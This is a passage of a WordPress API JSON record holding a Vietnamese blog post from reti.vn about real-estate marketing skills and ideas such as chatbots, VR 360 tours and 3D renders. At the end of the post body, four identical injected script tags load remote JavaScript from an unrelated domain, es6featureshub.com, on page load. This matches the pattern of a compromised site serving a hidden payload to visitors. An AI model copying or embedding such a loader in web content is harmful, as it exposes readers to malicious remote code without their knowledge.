ho\u1ea1t nh\u1eb1m duy tr\u00ec v\u00e0 n\u00e2ng cao k\u1ebft qu\u1ea3 chi\u1ebfn l\u01b0\u1ee3c marketing b\u1ea5t \u0111\u1ed9ng s\u1ea3n qua t\u1eebng ng\u00e0y.<\/p>\n<p>C\u00f3 th\u1ec3 th\u1ea5y, \u0111\u1ec3 chi\u1ebfn d\u1ecbch th\u00e0nh c\u00f4ng, b\u1ea1n c\u1ea7n c\u00f3 \u0111\u01b0\u1ee3c c\u00e1c k\u1ef9 n\u0103ng b\u1ea5t \u0111\u1ed9ng s\u1ea3n nh\u01b0 k\u1ef9 n\u0103ng ph\u00e2n t\u00edch, qu\u1ea3n l\u00fd ng\u00e2n s\u00e1ch,\u00a0ch\u0103m s\u00f3c kh\u00e1ch h\u00e0ng, giao ti\u1ebfp hi\u1ec7u qu\u1ea3 qua l\u1eddi n\u00f3i v\u00e0 v\u0103n b\u1ea3n, v.v.<\/p>\n<p><a href=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/ky-nang-marketing-bat-dong-san-1.jpg\" rel=\"lightbox-3\"><img decoding=\"async\" class=\"aligncenter size-full wp-image-38279 lazyload\" data-src=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/ky-nang-marketing-bat-dong-san-1.jpg\" alt=\"\" width=\"500\" height=\"333\" data-srcset=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/ky-nang-marketing-bat-dong-san-1.jpg 500w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/ky-nang-marketing-bat-dong-san-1-300x200.jpg 300w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/ky-nang-marketing-bat-dong-san-1-150x100.jpg 150w\" data-sizes=\"(max-width: 500px) 100vw, 500px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 500px; --smush-placeholder-aspect-ratio: 500\/333;\" \/><\/a><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Bat_mi_y_tuong_marketing_bat_dong_san_dot_pha\"><\/span><strong>B\u1eadt m\u00ed \u00fd t\u01b0\u1edfng marketing b\u1ea5t \u0111\u1ed9ng s\u1ea3n \u0111\u1ed9t ph\u00e1<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>\u0110\u1ec3 c\u00f3 th\u1ec3 th\u00e0nh c\u00f4ng trong ng\u00e0nh b\u1ea5t \u0111\u1ed9ng s\u1ea3n, b\u1ea1n c\u00f3 th\u1ec3 ch\u00fa \u00fd \u0111\u1ebfn nh\u1eefng \u00fd t\u01b0\u1edfng d\u01b0\u1edbi \u0111\u00e2y:<\/p>\n<p><strong>S\u1eed d\u1ee5ng chatbot:<\/strong>\u00a0H\u1ed7 tr\u1ee3 tr\u1ea3 l\u1eddi c\u00e1c c\u00e2u h\u1ecfi t\u1ef1 \u0111\u1ed9ng v\u00e0 ph\u00e2n lo\u1ea1i kh\u00e1ch h\u00e0ng quan t\u00e2m \u0111\u1ebfn d\u1ecbch v\u1ee5 \u0111\u1ebfn \u201cph\u1ec5u\u201d tr\u01b0\u1edbc khi \u0111\u1ebfn nh\u00e2n vi\u00ean tr\u1ef1c ti\u1ebfp ch\u0103m s\u00f3c.<\/p>\n<p><strong>S\u1eed d\u1ee5ng h\u00ecnh \u1ea3nh VR Tour 360 \u0111\u1ed9<\/strong>:\u00a0H\u00ecnh \u1ea3nh \u0111\u01b0\u1ee3c ch\u1ee5p t\u1eeb flycam t\u1ea1i v\u1ecb tr\u00ed b\u1ea5t \u0111\u1ed9ng s\u1ea3n. Qua \u0111\u00f3, ng\u01b0\u1eddi d\u00f9ng c\u00f3 c\u00e1i nh\u00ecn to\u00e0n c\u1ea3nh b\u1ed1n xung quanh v\u1ecb tr\u00ed \u0111\u00f3 c\u00f3 nh\u1eefng c\u00f4ng trinh, ti\u1ec7n \u00edch. T\u1eeb \u0111\u00f3, s\u1ebd c\u1ea3m nh\u1eadn r\u00f5 h\u01a1n v\u1ec1 v\u1ecb tr\u00ed c\u0169ng nh\u01b0 quang c\u1ea3nh xung quanh.<\/p>\n<p><a href=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/ky-nang-marketing-bat-dong-san-2.png\" rel=\"lightbox-4\"><img decoding=\"async\" class=\"aligncenter size-large wp-image-38280 lazyload\" data-src=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/ky-nang-marketing-bat-dong-san-2-1024x683.png\" alt=\"\" width=\"696\" height=\"464\" data-srcset=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/ky-nang-marketing-bat-dong-san-2-1024x683.png 1024w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/ky-nang-marketing-bat-dong-san-2-300x200.png 300w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/ky-nang-marketing-bat-dong-san-2-768x512.png 768w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/ky-nang-marketing-bat-dong-san-2-1536x1025.png 1536w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/ky-nang-marketing-bat-dong-san-2-150x100.png 150w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/ky-nang-marketing-bat-dong-san-2-696x464.png 696w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/ky-nang-marketing-bat-dong-san-2-1068x712.png 1068w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/ky-nang-marketing-bat-dong-san-2-1920x1281.png 1920w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/ky-nang-marketing-bat-dong-san-2.png 2048w\" data-sizes=\"(max-width: 696px) 100vw, 696px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 696px; --smush-placeholder-aspect-ratio: 696\/464;\" \/><\/a><\/p>\n<p><strong>S\u1eed d\u1ee5ng h\u00ecnh \u1ea3nh 3D l\u00e0m phim ph\u1ed1i c\u1ea3nh:<\/strong> Hi\u1ec7n c\u00e1c d\u1ef1 \u00e1n b\u1ea5t \u0111\u1ed9ng s\u1ea3n cao c\u1ea5p \u0111ang th\u01b0\u1eddng xuy\u00ean \u00e1p d\u1ee5ng c\u00f4ng ngh\u1ec7 n\u00e0y v\u00e0o d\u1ef1 \u00e1n. B\u1ea1n c\u00f3 th\u1ec3 b\u1eaft g\u1eb7p qu\u1ea3ng c\u00e1o tr\u00ean truy\u1ec1n h\u00ecnh.<\/p>\n<p>L\u00e0m th\u1ebf n\u00e0o \u0111\u1ec3 t\u0103ng doanh s\u1ed1 b\u00e1n h\u00e0ng b\u1ea5t \u0111\u1ed9ng s\u1ea3n cho doanh nghi\u1ec7p l\u00e0 \u0111i\u1ec1u \u0111\u01b0\u1ee3c nhi\u1ec1u doanh nghi\u1ec7p quan t\u00e2m. V\u00e0 \u0111\u00e2y kh\u00f4ng ph\u1ea3i l\u00e0 vi\u1ec7c m\u1ed9t s\u1edbm m\u1ed9t chi\u1ec1u, m\u00e0 \u0111\u00f2i h\u1ecfi doanh nghi\u1ec7p c\u1ea7n c\u00f3 k\u1ebf ho\u1ea1ch c\u1ee5 th\u1ec3 cho ho\u1ea1t \u0111\u1ed9ng marketing b\u1ea5t \u0111\u1ed9ng s\u1ea3n c\u1ee7a doanh nghi\u1ec7p m\u00ecnh.<\/p>\n<p>Tr\u00ean \u0111\u00e2y l\u00e0 nh\u1eefng chia s\u1ebb c\u1ee7a\u00a0<strong><a href=\"https:\/\/www.facebook.com\/retiproptech\" target=\"_blank\" rel=\"noopener\">RETI<\/a><\/strong>\u00a0v\u1ec1\u00a0marketing b\u1ea5t \u0111\u1ed9ng s\u1ea3n. Hy v\u1ecdng nh\u1eefng th\u00f4ng tin m\u00e0 ch\u00fang m\u00ecnh chia s\u1ebb s\u1ebd gi\u00fap \u00edch cho b\u1ea1n trong qu\u00e1 tr\u00ecnh t\u00ecm hi\u1ec3u.<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Chi\u1ebfn l\u01b0\u1ee3c trong\u00a0marketing b\u1ea5t \u0111\u1ed9ng s\u1ea3n\u00a0l\u00e0 g\u00ec? V\u00e0 nh\u1eefng k\u00eanh marketing b\u1ea5t \u0111\u1ed9ng s\u1ea3n n\u00e0o \u0111em l\u1ea1i hi\u1ec7u qu\u1ea3 cho doanh nghi\u1ec7p trong qu\u00e1 tr\u00ecnh th\u1ef1c hi\u1ec7n? T\u1ea5t c\u1ea3 nh\u1eefng th\u1eafc m\u1eafc tr\u00ean s\u1ebd \u0111\u01b0\u1ee3c RETI gi\u1ea3i \u0111\u00e1p trong b\u00e0i vi\u1ebft sau \u0111\u00e2y. Marketing b\u1ea5t \u0111\u1ed9ng s\u1ea3n l\u00e0 g\u00ec? Marketing b\u1ea5t \u0111\u1ed9ng s\u1ea3n\u00a0\u0111\u01b0\u1ee3c bi\u1ebft \u0111\u1ebfn [&hellip;]<\/p>\n","protected":false},"author":36,"featured_media":38308,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"tdm_status":"","tdm_grid_status":"","footnotes":""},"categories":[610],"tags":[],"class_list":{"0":"post-38278","1":"post","2":"type-post","3":"status-publish","4":"format-standard","5":"has-post-thumbnail","7":"category-kinh-nghiem"},"external_url":"","featured_image_url":"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/z4415597091213_efe1b04142050249cc3c2e272c71b8e1.jpg","_links":{"self":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts\/38278","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/users\/36"}],"replies":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/comments?post=38278"}],"version-history":[{"count":0,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts\/38278\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/media\/38308"}],"wp:attachment":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/media?parent=38278"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/categories?post=38278"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/tags?post=38278"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}